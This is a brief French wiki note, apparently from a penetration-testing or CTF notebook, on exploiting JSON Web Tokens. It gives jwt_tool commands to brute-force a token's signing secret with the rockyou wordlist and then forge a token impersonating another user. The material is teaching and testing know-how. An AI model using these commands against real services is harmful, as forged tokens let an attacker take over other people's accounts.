# [Exploitation/Web] JWT

## Introduction

Les **JWT** pour *JSON web tokens* sont des jetons utilisés un peu de la même manière que les cookies qui permettent de gérer l'authentification à une page. Ils sont segmentés en 3 parties séparées par des points :

- Le <span style="text-decoration: underline;">header</span>.
- Le <span style="text-decoration: underline;">payload</span> (contenu).
- La <span style="text-decoration: underline;">signature</span>.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/scaled-1680-/XTeimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/XTeimage.png)

## Exploitation

#### Basique

Une fois connecté avec un utilisateur vous devriez avoir un jeton JWT. Pour l'obtenir, vous pouvez l'intercepter avec Burp.

Ensuite, vous pouvez le modifier grâce au site suivant :

- [https://token.dev/](https://token.dev/)

Voici un outil très pratique pour l'exploitation de JWT :

- [https://github.com/ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool)

Pour lancer un brute force sur la signature pour retrouver le secret :

```bash
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY2l0b3llbiIsImV4cCI6MTc0NzkzNjM1MH0.bRAr9miwEjxU72VPhiRZU94LCW5JBh2SlbLBZ_ENByA -C -d /usr/share/wordlists/rockyou.txt
```

Pour générer un nouveau token à partir du secret trouvé :

```bash
./jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGFscGF0aW5lIiwiZXhwIjoxNzQ3OTM1OTI4fQ.ss9aaYq766iYwebp8_9HouNXMN-QWgCsfaT2oaBo5jw -p "kaitlynn4" -pc user=palpatine -S hs256
```